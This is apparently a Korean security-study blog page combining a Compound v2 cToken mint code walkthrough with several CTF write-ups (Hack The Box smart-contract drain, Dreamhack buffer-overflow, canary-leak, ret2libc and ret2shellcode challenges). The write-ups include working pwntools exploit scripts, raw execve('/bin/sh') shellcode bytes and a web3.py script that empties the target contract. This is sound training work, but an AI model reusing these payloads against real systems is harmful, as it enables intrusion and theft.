반응형

들어가기에 앞서…

Compound v2를 구성하는 주요 기능에는 mint, redeem, borrow, repay, liquidate가 있다. 이러한 기능들이 어떻게 작동하는지, 더 나아가 어떠한 방식으로 구현되어있는지 등을 살펴보려 한다.

이번 편에서는 Compound에서 자금을 관리하는 cToken을 주요 기능을 살펴보려 한다. 중간중간 등장하는 추가적인 개념들은 이 글에서 가볍게 다루고, 추후에 더 자세히 살펴보는 것이 좋을 것 같다. 

각 기능에서는 CErc20/CEther 컨트랙트에서 상속받는 CToken 컨트랙트의 CToken::~Internal() 함수를 호출하고, 이는 CToken::~Fresh() 함수를 호출하며, 또 이는, Comptroller::~Allowed() 함수 및 Comptroller::~Verify()->Optional함수를 호출하는 흐름을 이해하고 있으면 더욱 편할 것 같다.

 


Mint(uint mintAmount)

이전 포스팅에서도 언급했던 것과 같이, mint(uint mintAmount)함수는 CErc20/CEther 컨트랙트에 구현되어있으며, cToken 컨트랙트의 mintInternal(uint mintAmount) 함수를 호출하여 실제 로직을 실행한다.

1. CErc20 & CEther::mint()

mint를 하기 위한 entry point인 CErc20과 CEther를 살펴보자.

function mint() external payable {
    mintInternal(msg.value);
}
function mint(uint mintAmount) override external returns (uint) {
    mintInternal(mintAmount);
    return NO_ERROR;
}

이러한 구현적 차이 이외에는 두 컨트랙트에서 별도의 차이가 존재하지 않는다.

CEther는 네이티브 Token을 처리하기 위한, CErc20은 ERC20 Token을 처리하기 위한 컨트랙트라는 정도만 이해하고 넘어가도 된다.

Logic

각각의 mint 함수에서는 상속받는 컨트랙트인 CToken의 mintInternal(mintAmount)를 호출한다.

2. CToken::mintInternal()

function mintInternal(uint mintAmount) internal nonReentrant {
    accrueInterest();
    mintFresh(msg.sender, mintAmount);
}

이 함수에서는 보이는 것과 같이 두 개의 주요 로직을 실행한다.

accrueInterest()

accrueInterest함수는 프로토콜이 현재 가지고 있는 token 수량, 사용자들의 borrow 총량, 준비금 등을 바탕으로 새로운 index 값을 계산, borrow 총량을 업데이트, 준비금을 업데이트 하는 로직을 수행한다. 이에 대한 자세한 로직은 다른 글을 통해 설명하였다.

 

Defi Lending 해체분석: Compound v2 - helper functions

들어가기에 앞서 ...Compound v2에서 사용되는 여러 helper function들의 로직을 정리한 포스팅이다. 사실 Lending 프로토콜에서 가장 중요한 것은 사용자들이 직접 호출하는 entry point라고도 할 수 있겠지

nullorm.tistory.com

accrueInterest() 실행 이후에 mintFresh() 함수를 실행하게 되는데, 

mint의 주요 로직이 구현되어있는 함수이다. 자세히 들어가보도록 하자.

3. CToken::mintFresh()

function mintFresh(address minter, uint mintAmount) internal;

mint와 관련된 주요 로직이 실행되는 mintFresh()함수이다.

 

차례대로 로직을 살펴보자.

 

mintFresh() - 1

uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);

if (allowed != 0) {
    revert MintComptrollerRejection(allowed);
}

해당 cToken에 대해 minter가 mintAmount만큼 mint를 할 수 있는지 여부를 리턴해주는 mintAllowed 함수를 호출한다. (이러한 목적인 것 같기는 한데, 실제로 이렇지는 않다.)

3-1. CToken::mintAllowed

function mintAllowed(address cToken, address minter, uint mintAmount) override external returns (uint) {
    require(!mintGuardianPaused[cToken], "mint is paused");

    // Shh - currently unused
    minter;
    mintAmount;

    if (!markets[cToken].isListed) {
        return uint(Error.MARKET_NOT_LISTED);
    }

    updateCompSupplyIndex(cToken);
    distributeSupplierComp(cToken, minter);

    return uint(Error.NO_ERROR);
}
  1. guardian에 의해 pause되어있는지를 검사한다.해당 조건문은 이를 통해 pause되어있는지 검사하고, pause되어있다면 revert를 발생시킨다.
    compound에는 governance에 의해 임명된 guardian이라는 주체(wallet)이 있는데, 이들은 프로토콜상에 문제, 해킹, 또는 어떠한 사정이 있을 경우에 특정 cToken market의 기능을 pause할 수 있는 권한을 가지고 있다.
  2. compound만의 특징이라고 할 수 있을 것 같은데, ~Allowed 함수 내에 로직이 비어있는 것이 보인다. 추후 업데이트 시에 인터페이스가 변하지 않게 하려고 minter와 mintAmount를 함수 arg에 넣기만 하고 이용하지는 않은 것으로 보인다.
  3. 인자로 넣은 cToken의 주소가 market에 listing되어있는지 검사하여 입력값 검증을 실행하고 있는 것을 확인할 수 있다.
  4. updateCompSupplyIndex(cToken), distributeSupplierComp(cToken, minter) 을 통해 supplier에게 돌아가는 보상을 업데이트해준다. 상세한 내용은 보상 관련 포스팅을 추후 업로드 하도록 하겠다.

mintFresh() - 2

if (accrualBlockNumber != getBlockNumber()) {
    revert MintFreshnessCheck();
}

accrualBlockNumber 즉, accrueInterest()함수에서 이자율 및 관련 state변수들을 업데이트한 block number가 현재의 block.number와 같지 않다면 revert를 실행한다. 즉, accrueInterest함수를 실행하지 않고는 mintFresh()를 실행할 수 없다는 것.

 

mintFresh() - 3

Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

exchangeRateStoredInternal() 함수를 통해 exchangeRate를 불러온다.

function exchangeRateStoredInternal() virtual internal view returns (uint) {
    uint _totalSupply = totalSupply;
    if (_totalSupply == 0) {
        return initialExchangeRateMantissa;
    } else {
        uint totalCash = getCashPrior();
        uint cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
        uint exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;

        return exchangeRate;
    }
}

cToken의 totalSupply, totalCash, totalBorrows, totalResserves를 바탕으로 exchangeRate즉, cToken과 underlying token의 교환비율을 반환해주는 함수이다.

 

사용처: underlying amount = cToken amount * exchangeRate

  1. totalSupply가 0보다 클 때
    totalSupply가 0보다 크면, cToken이 발행된 적이 있는 즉, mint수량이 있다는 말이다. 이 경우 exchangeRate는 $\frac{totalCash + totalBorrows-totalReserves}{totalSupply}$가 된다.
    즉, 프로토콜의 전체 자산(보유중인 token + borrow된 token - 준비금)을 총 cToken발행량으로 나눈 값이다.
  2. totalSupply가 0일 때
    totalSupply가 0이라는 것은, cToken 발행량이 0이라는 것이다. 즉, market에 유동성이 존재하지 않는 것이기 때문에, initialExchangeRateMantissa를 반환해준다. cETH의 intialExchangeRateMantissa값은 $2 \times 10^18$ 이다.

 

mintFresh() - 4

uint actualMintAmount = doTransferIn(minter, mintAmount);
uint mintTokens = div_(actualMintAmount, exchangeRate);

이제, doTransferIn(safeTransferFrom을 실행한다)을 통해 minter로부터 mintAmount만큼의 underlying token을 송금받고, 송금받은 token 수량인 actualMintAmount 을 exchangeRate로 나누어 mint 즉, 공급해야 할 cToken수량을 계산한다.

 

mintFresh() - 5

totalSupply = totalSupply + mintTokens;
accountTokens[minter] = accountTokens[minter] + mintTokens;

mint를 하는 절차.

totalSupply를 증가시켜주고, minter주소의 accountTokens를 증가시킨다.

 

mintFresh() - 6

emit Mint(minter, actualMintAmount, mintTokens);
emit Transfer(address(this), minter, mintTokens);

이벤트 로그를 발생시키고 함수가 종료된다.

 

mint 요약

  • mint(mintAmount)
  • mintInternal(mintAmount)
    • accrueInterest()
    • mintFresh()
      • mintAllowed()
      • mint logic
        • mintAmount만큼 doTransferIn()
        • mintAmount / exchangeRate 만큼 cToken mint

계속 추가할 예정

redeem(uint redeemTokens) & redeemUnderlying(uint redeemAmount)

borrow(uint borrowAmount)

repayBorrow(uint repayAmount)

liquidateBorrow(address borrower, uint repayAmount, CTokenInterface, cTokenCollateral)

반응형
반응형

해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.

링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy

 

Hack The Box

 

app.hackthebox.com

1. 문제 설명이다. 그렇다고 한다.

 

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.

2. 문제 소스코드를 보자

1. setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

isSolved() 함수의 return값이 true가 되면 문제가 풀린다.

이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.

하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.

2. Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

TARGET contract이다. 

최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.

한번 step을 밟아보자.

1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다. 

2. attack()함수 내부를 보자.

 

attack(uint256 _damage)

결국 실행시켜야 하는 것은 attack(1000)일 것이다. 

하지만, 이를 실행하려면

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 부분까지 접근해야 할 것이고,

그 전의 if문도 통과해야 한다.

 

통과해야 하는 조건들을 살펴보면,

        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 두 가지 부분이다.

 

첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,

두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.

_isOffBalance()함수는

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }

인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.

그럼, 공격 시나리오를 구성해보자. 

 

1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.

2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다. 

그렇다면, 이렇게 하면 되겠다.

 

1. EOA에서 attack()함수를 호출

2. CA에서 attack(1000)을 호출

 

이대로 코드를 작성해보자. 일단 2번의 CA먼저.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface creature {
	function attack(uint256 _damage) external;
}

contract exploit {
	creature public target;
	constructor(address _target) {
		target = creature(_target);
		target.attack(1000);
	}
}

이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.

그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.

from web3 import Web3
import requests
import json

url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()

key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']

f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)

nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
	'from': user_addr,
	'nonce': nonce,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')

f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)

tx = attack_cont.constructor(target_addr).build_transaction({
	'from': user_addr,
	'nonce': nonce+1,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'second attack\n {tx_receipt}')

tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0

이렇게 하고 실행해주면 공격에 성공한다.

아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다. 

그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.

 

일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.

반응형
반응형

포린이의 첫 RTL문제 시도... 정답을 보면서 하면 당연히 실력이 늘지 않으니 몇시간동안 끙끙대면서 푸는게 참 힘든 것 같다. ㅜㅜ

 

(문제 출처 : https://dreamhack.io/wargame/challenges/353/ )

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

 

일단 국룰 체크 먼저.

카나리, NX 보호기법이 사용되었다. 기본적으로 지금 풀고 있는 문제는 전부 bof 관련된 문제이므로, canary leak을 해주어야 할 것이고, NX로 인해 스택 영역에 실행권한이 없을 것이므로 쉘코드를 실행할 수 없을 것. 따라서 system("/bin/sh") 을 실행할 수 있도록 함수의 주소, 문자열의 주소, 가젯 등을 이용해야 할 것이다.

 

C 코드를 살펴보도록 하자.

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

문제가 친절하다. "/bin/sh"의 주소도 주고, system 함수도 사용해주면서 system 함수도 사용해주면서 system 함수를 이용할 수 있도록 한다.

그 다음으로는, read함수를 통해 buf에 값을 써주고 출력해주면서 canary leak을 해줄 수 있도록 한다.

그 다음으로는, return address 를 overwrite해주는, 즉, 또다시 bof를 이용해야한다. 이를 통해 RTL을 성공적으로 마칠 수 있을 것 같다. 

 

그렇다면 공격 시나리오는 Canary Leak -> get system address, get /bin/sh address, geet gadget -> Return To Library 

이렇게 볼 수 있을 것 같다.

Canary Leak

카나리 릭은 지금까지 많이 해왔으니까... 간단하게 빠르게 넘어가자.

read함수에서 buf 배열을 이용하는데, read함수를 사용하는 곳으로 가보면

buf 배열이 [rbp-0x40]에 있는 것을 알 수 있다. 그렇다면 SFP(RBP)와 BUF의 사이에는 dummy data 8바이트와 canary 8바이트가 있을 것이다. 이를 바탕으로 페이로드를 구성해보자.

이렇게 카나리를 Leak 할 수 있겠다.

 

RTL 정보 추출하기.

위 코드에서 "/bin/sh"이라는 문자열도 사용되었고, system함수도 사용되었으므로 둘 다 메모리상에 주소가 존재할 것이다. 한번 찾아보자.

/bin/sh 전역변수의 주소
plt 테이블

이로써 필요한 정보를 수집하는 데 성공했다. 이제 이걸 어떻게 적용하면 될까?

이렇게 페이로드를 구성하면 된다.

 

SFP(rbp)를 덮는 것 까지는 이전과 같은데, RET 자리에 ret gadget을 두었다. 이를 통해 그 다음 명령어들까지 실행을 할 수 있다. (사실 이 가젯까지는 잘 이해를 하지 못했는데, 이거 없이 실행할 때 오류가 나면 이걸 넣어서 해결한다고 하길래)

 

<가젯 찾는 법>

 

그 다음으로는 pop rdi, ret이 있다. 이 명령어를 실행하면, "/bin/sh"이 저장된 주소를 pop 해서 rdi에 저장한다.

다들 rdi가 뭔지는 잘 알 것이다. 바로 함수의 첫 번째 인자로 들어가는 녀석이다. 인자까지 준비를 완료했으니, ret 가젯이 실행되면, 인자가 system 함수로 들어가 최종적으로 system("/bin/sh") 명령이 실행되는 것이다.

 

익스플로잇 코드

 

실행해주면.....

성공이다..!

반응형
반응형

포너블 공부 2일차. 여전히 카나리 릭, 파이썬과 싸우고 있다.

파이썬 문법, pwntools 모듈 등이 나에겐 너무 생소한지라 아직까진 어려운데 어쩌겠습니까... 해야죠 네 ...

 

이번 문제도 역시 Canary Leak을 이용해 풀어야 하는 문제이다. 문제를 한번 자세히 보도록 하자.

(문제 출처 : https://dreamhack.io/wargame/challenges/33 )

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다. 저기서 등장하는 SSP는 stack smashing protocol이다.

 

문제를 보면

get_shell()함수를 실행시키는 것을 목적으로 하면 될 것 같다.

main()함수를 보면, 

box[0x40], name[0x40], selset[2], idx, name_len이라는 변수를 선언해주고, 

while(1) 안에서 switch_case 문을 실행해준다.

switch안에 들어가는 인자는 read함수에서 받아오니 이건 p.send를 써야하겠다... 라는 생각을 하며 진행해보도록 하자. 

총 세 가지 기능이 구현되어있는데,

F : fill the box

P : print box value

E : fill name buffer and return.

이렇게 되어있다. 이제 checksec을 해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}
void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
// target
void get_shell()
{
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx)
{
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu()
{
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[])
{
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while (1)
    {
        menu();
        read(0, select, 2);
        switch (select[0])
        {
        case 'F':
            printf("box input : ");
            read(0, box, sizeof(box));
            break;
        case 'P':
            printf("Element index : ");
            scanf("%d", &idx);
            print_box(box, idx);
            break;
        case 'E':
            printf("Name Size : ");
            scanf("%d", &name_len);
            printf("Name : ");
            read(0, name, name_len);
            return 0;
        default:
            break;
        }
    }
}

 

Canary가 적용되어있으니 어쨋든 Leak을 해주어야할 것 같다. Canary Leak을 하기 위해서는(다른 방법은 아직 모른다..) 스택의 데이터를 출력해주는 함수가 필요한데, 딱 적당하게 P 기능에서 이를 수행해준다.

P 기능 내의 print_box를 살펴보자.

void print_box(unsigned char *box, int idx)
{printf("Element of index %d is : %02x\n", idx, box[idx]);}

box[idx]는 사실 *(box + idx) 라고 볼 수 있는거니까, box 배열의 base address에서부터 idx만큼 떨어져있는 곳의 데이터를 말하는 것이다. 따라서 이를 이용하면 Canary 값을 읽을 수 있다.

그럼 한번 스택 상황을 보러 가볼까?

일단 처음에, 공간을 0x94만큼 잡아주는 것을 볼 수 있다.

pwndbg를 이용해 까보았더니  cmp eax, 0x50 즉, 'P'에 해당하면, <main + 192>로 jmp 해준다. <main+192>부터 보면, [ebp-0x88]의 주소를 PUSH해서 print_box로 넘겨주는 것을 볼수 있다. 그렇다면, box의 주소는 0x88일테니까,

그림을 그려봐야겠다.

이런 느낌일 것이다.

그렇다면, P기능에서 81개의 아무 데이터나 넣고, 그 다음 3바이트의 canary 값을 받아오면 canary leak을 할 수 있겠다.

exploit 코드

그리고, 일단 get_shell의 주소를 받아와야한다.

exploit 코드

이렇게 했으면, canary 값도 받아왔고, get_shell의 주소도 구했으니 RET 주소에 get_shell의 주소만 넣으면 되겠다.

exploit 코드

이렇게 구성하면 될 것 같다.

이제 실행을 해볼까?

히히 야호~ 성공했다. 끗.

반응형
반응형

하루만에 너무 많은걸 해버렸다... 갓 포너블 시작한 포린이에게는 빡센 것 같다.

바로 시작해보자. 

이번 문제는 Return to Shellcode 라는 문제이다. 

(문제 출처 : https://dreamhack.io/wargame/challenges/352 )

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

제목에서도 알 수 있듯, Shell Code를 사용하는 문제이고, 이게 중요한 개념인가보다.

(나의 경우에는 너무나도 중요했다 ...발...)

 

우선 먼저 짚고 넘어가야 할 점이 있다. 바로 Shell Code는 32비트와 64비트 환경에서 다르다는 것이다! 당연하지. 근데 나는 그걸 못알아채고 한시간동안 삽질을 했다 ㅋㅋ 하... 여러분은 그러지 않길~ ^^

Shell Code in x64

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

이제 시작해보자. 

우선 국룰 절차 밟기.

64bit, SYSV, Canary 정도 체크하고 가면 될 것 같다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

코드가 이전 문제에 비하면 상당히 길다.

어떻게 실행되는지 한번 실행해보자.

buf의 주소를 주는 것을 보니, BOF를 일으켜야하는 것으로 보이고, distance between buf and $rbp를 주는 것을 주목해야겠다. 이 문제가 Canary 단원 안에 속해있다는 것을 생각해볼 때, 저 distance에 집중해야겠다.

기본적인 canary의 개념을 짚고 가자면,

이렇게 생각할 수 있겠다. 즉, sfp와 ret의 무결성 보장을 위해 canary의 값이 변경되었는지를 확인하는 것이다. 따라서 canary의 값을 알아내기 위해 해야할 일은 bof를 통해 canary 값을 leak 해야 하는 것인 것 같다.(아무래도 처음부터 더 어려운건 안시키겠지...)

BUF 주소 leak

char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 부분을 보면, p.recvuntil("buf: ") 해서 recv(14)로 buf 값을 가져올 수 있고, distance도 구할 수 있을 것이다.

 

해당 부분의 exploit 코드

 

Canary Leak

그 다음으로 canary leak을 해봐야 하겠다.

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

문제에서 친절하게도 안내를 해준다 ㅋㅅㅋ

그렇다면 해줘야지.

 

buf에 distance - 8 (8인 이유는 canary가 들어갈 자리 때문.) 까지 다른 데이터로 채워주고, canary의 NULL문자 부분까지 하나만 더 "A"로 채워주어 canary 정보를 leak 해보았다.

canary Leak

이렇게 하면 canary까지 가져왔으니, 남은건 BOF 뿐이다.

BOF

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

위에를 처리하고나니 이젠 귀여운 BOF만 남아있다. 바로 익스 해주자.

BOF 코드

 

새로운 함수 몇 가지를 공부했는데, ljust라는 굉장한 녀석이 있다. 코드를 보면 뭐하는 친구일지 이해가 될 것이다.

 

Exploit code

from pwn import *

p = remote('host3.dreamhack.games', portNum)

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil("Address of the buf: ")
buf_addr = int(p.recv(14), 16)

p.recvuntil("$rbp: ")
distance = int(p.recv(2))

# canary leak
p.recvuntil("Input: ")
payload = b"A" * (distance - 8)
payload += b"B"
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recv(7)

# exploit
print(p.recvuntil("Input: "))
payload = shellcode.ljust(distance - 8, b'\x90')
payload += canary
payload += b"\x90"*8    
payload += p64(buf_addr)
p.sendline(payload)

p.interactive()

 

이대로 exploit 해주면,

짜잔~ 성공이다 !! ㅎㅎ

기초 BOF를 벗어나 새로운 canary leak을 해보는 재미난 경험이었다~

포린이 포너블 1일차 끗.

반응형
반응형

첫 번째 문제가 재밌어서 바로 두 번째 문제를 풀러 왔다.

첫 문제보다 쉬운 것 같다. 그냥 read_flag() 함수를 호출할 수 있으면 될 것이다.

(문제 출처 : https://dreamhack.io/wargame/challenges/3 )

 

예전에 어딘가에서 듣기로 ASLR? 이라는 기법이 사용되면 프로그램을 실행할 때 마다 주소가 바뀌어 포너블하기 힘들어진다고 했는데, 그냥 여기서는 그런 기능 안되어있길 기도하면서 read_flag 함수 주소를 찾았던 것 같다. 

 

일단 국룰 절차 먼저 밟아보자.

사실 보호기법은 봐도 잘 모른다. 그래도 일단 습관화 하면 좋을 것 같아서 밟는 절차... 하하 

 

다음은 코드를 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

그냥 buffer overflow 이용해서 buf 칸 다 채워버리고 return 주소가 read_flag를 가리키게 하면 될 것 같다.

그럼 read_flag()의 주소를 어떻게 찾을까?

오 이 따옴표 넣는 기능 신기하다. 애용해야겠다.

dreamhack은 감사하게도 우리에게 pwndbg 사용법을 알려줬다.

 

사용법은 다들 알거니까 시작해보자.

print read_flag 써서 바로 주소 찾아줬다. 그럼 이걸 이용해 익스를 짜보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 14765)

read_flag_addr = p32(0x80485b9)

payload = b"\x90"*0x80
payload += b"\x90"*4
payload += read_flag_addr

p.sendline(payload)
p.interactive()

 

우선 0x80칸 NOP으로 채워주고, SFP도 그냥 채워주고, 마지막 return address에다가 방금 찾은 주소를 넣어줬다.

 

흐흐.. 성공했다. 재밌다 ! 야무지다 ! 행복하다 !

반응형
반응형

2학기 들어서 처음 풀어보는 Pwnable 문제!!

신나는 마음으로 접근해보았다.

(문제 링크 : https://dreamhack.io/wargame/challenges/2)

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

강의를 다 보고나서 문제를 보니, 

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다.

 

그런데, 주어진 소스코드를 살펴보면 익스해서 셸을 획득할 수 있는 코드가 존재하지 않는다.

그렇다면... 셸코드를 이용해야할 것 같다. 셸코드는 대략 25~26byte정도 되었던 것으로 기억하니, 그걸 감안하고 문제를 풀어보도록 해야겠다. (아직 bof말고는 아무것도 몰라서 제 설명이 맞는지는 모르겠습니다! 틀렸다면 죄송!!!)

 

alarm_handler() 는 무시해도 될 것 같다.

initialize()는 그냥 버퍼 초기화하는 함수인 것 같으니까 무시해야겠다.

main()함수만 보도록 하자!

 

공부한대로 그냥 차근차근 보자.

일단 파일이 어떤녀석인지 보자.

32bit, SYSV 이정도만 알면 될 것 같다.

 

다음으로, stack에는 매개변수, 반환주소(RET, SFP), 지역변수 순으로 저장된다. 이를 그림으로 그려보면

이런 형태일 것이다.(매개변수는 들어오지 않았으므로.)

이제 코드상의 취약점을 찾아보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 사이즈가 0x80 즉, 128byte인데 scanf에서는 141byte씩이나 받고있다. (개발자 뭐하냐... 정신차려...) 

그렇다면 맛있게 bof를 해주면 될 것 같다.

 

익스 코드를 짜주자.

from pwn import *

p = remote('host3.dreamhack.games', 14027)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")
buf_addr = int(p.recv(10), 16)

print(buf_addr)

payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode))
payload += b"\x90" * 4
payload += p32(buf_addr)

p.sendline(payload)
